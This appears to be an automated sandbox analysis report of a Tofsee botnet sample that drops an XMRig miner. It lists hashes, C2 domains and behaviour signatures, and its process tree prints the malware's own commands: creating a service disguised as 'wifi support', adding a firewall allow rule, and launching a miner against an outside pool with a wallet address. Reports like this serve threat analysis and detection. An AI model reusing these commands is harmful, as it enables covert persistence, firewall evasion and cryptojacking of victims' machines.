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Overview

overview

10

Static

static

dridex

windows10-2004-x64

10

Analysis

  • max time kernel
    141s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/01/2023, 14:39

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General

  • Target

    ed605159c6fcf44feb70a19e01a512762b2d8a72a4b68c017d56858a24f6dfaf.exe

  • Size

    279KB

  • MD5

    297fc5bca0604242ccdff8bfaf72cf99

  • SHA1

    71ca2ec750c3a9443efb737f7efdc77d9e5decb0

  • SHA256

    ed605159c6fcf44feb70a19e01a512762b2d8a72a4b68c017d56858a24f6dfaf

  • SHA512

    d19de3fcaf63db37bad141b34fa4d625568683bfffb1d7a5afcefba0ee939a8831a27d1c0308b63472a113893df4847c6175c7aecd24ddedf21476d121beec78

  • SSDEEP

    3072:W7XE89ZzknLtQ44UEv6M5NCVSGNhUxfgWg+yU9fHIQ52eoG8MR2m4FwCpjKpEAHc:gZSLp4UEv6osSkaz9oGhnEmQLr

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ed605159c6fcf44feb70a19e01a512762b2d8a72a4b68c017d56858a24f6dfaf.exe
    "C:\Users\Admin\AppData\Local\Temp\ed605159c6fcf44feb70a19e01a512762b2d8a72a4b68c017d56858a24f6dfaf.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4632
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zhctzrbq\
      2⤵
        PID:5080
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ubbfgqal.exe" C:\Windows\SysWOW64\zhctzrbq\
        2⤵
          PID:4208
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zhctzrbq binPath= "C:\Windows\SysWOW64\zhctzrbq\ubbfgqal.exe /d\"C:\Users\Admin\AppData\Local\Temp\ed605159c6fcf44feb70a19e01a512762b2d8a72a4b68c017d56858a24f6dfaf.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:556
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zhctzrbq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1108
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zhctzrbq
          2⤵
          • Launches sc.exe
          PID:4764
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2960
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 800
          2⤵
          • Program crash
          PID:3728
      • C:\Windows\SysWOW64\zhctzrbq\ubbfgqal.exe
        C:\Windows\SysWOW64\zhctzrbq\ubbfgqal.exe /d"C:\Users\Admin\AppData\Local\Temp\ed605159c6fcf44feb70a19e01a512762b2d8a72a4b68c017d56858a24f6dfaf.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5084
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1716
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4324
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 536
          2⤵
          • Program crash
          PID:2052
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4632 -ip 4632
        1⤵
          PID:4888
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5084 -ip 5084
          1⤵
            PID:3160

          Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ubbfgqal.exe
            Filesize

            12.4MB

            MD5

            425e0d078d83a2c103f278117040462c

            SHA1

            42133f882624ba179386d96cf2f9bccefb60c76a

            SHA256

            47d59fdc2a28412f2124895710da4ca8490a483384a2f019afb6ae54439566f9

            SHA512

            bd6f6ca9f1555b73fb925272d31e1239c1cbf5b5a858dd08b3fdc2e824bd388c205285c625f8400f43853e0d4e66d9a08b189aaa8e7029b341d9cf3d4698e27c

            Download Submit

          • C:\Windows\SysWOW64\zhctzrbq\ubbfgqal.exe
            Filesize

            12.4MB

            MD5

            425e0d078d83a2c103f278117040462c

            SHA1

            42133f882624ba179386d96cf2f9bccefb60c76a

            SHA256

            47d59fdc2a28412f2124895710da4ca8490a483384a2f019afb6ae54439566f9

            SHA512

            bd6f6ca9f1555b73fb925272d31e1239c1cbf5b5a858dd08b3fdc2e824bd388c205285c625f8400f43853e0d4e66d9a08b189aaa8e7029b341d9cf3d4698e27c

            Download Submit

          • memory/1716-146-0x0000000000770000-0x0000000000785000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1716-163-0x00000000029E0000-0x00000000029E5000-memory.dmp

            Filesize

            20KB

            Download

          • memory/1716-169-0x00000000029F0000-0x00000000029F7000-memory.dmp

            Filesize

            28KB

            Download

          • memory/1716-166-0x0000000007500000-0x000000000790B000-memory.dmp

            Filesize

            4.0MB

            Download

          • memory/1716-160-0x0000000002810000-0x0000000002820000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1716-157-0x0000000001DF0000-0x0000000001DF6000-memory.dmp

            Filesize

            24KB

            Download

          • memory/1716-154-0x0000000002600000-0x000000000280F000-memory.dmp

            Filesize

            2.1MB

            Download

          • memory/1716-153-0x0000000000770000-0x0000000000785000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1716-151-0x0000000000770000-0x0000000000785000-memory.dmp

            Filesize

            84KB

            Download

          • memory/4324-178-0x0000000000900000-0x00000000009F1000-memory.dmp

            Filesize

            964KB

            Download

          • memory/4324-173-0x0000000000900000-0x00000000009F1000-memory.dmp

            Filesize

            964KB

            Download

          • memory/4632-135-0x0000000000400000-0x0000000002BAD000-memory.dmp

            Filesize

            39.7MB

            Download

          • memory/4632-132-0x0000000002E0D000-0x0000000002E1E000-memory.dmp

            Filesize

            68KB

            Download

          • memory/4632-133-0x00000000048E0000-0x00000000048F3000-memory.dmp

            Filesize

            76KB

            Download

          • memory/4632-143-0x0000000002E0D000-0x0000000002E1E000-memory.dmp

            Filesize

            68KB

            Download

          • memory/4632-144-0x0000000000400000-0x0000000002BAD000-memory.dmp

            Filesize

            39.7MB

            Download

          • memory/5084-149-0x0000000002BF9000-0x0000000002C09000-memory.dmp

            Filesize

            64KB

            Download

          • memory/5084-150-0x0000000000400000-0x0000000002BAD000-memory.dmp

            Filesize

            39.7MB

            Download

          • memory/5084-152-0x0000000000400000-0x0000000002BAD000-memory.dmp

            Filesize

            39.7MB

            Download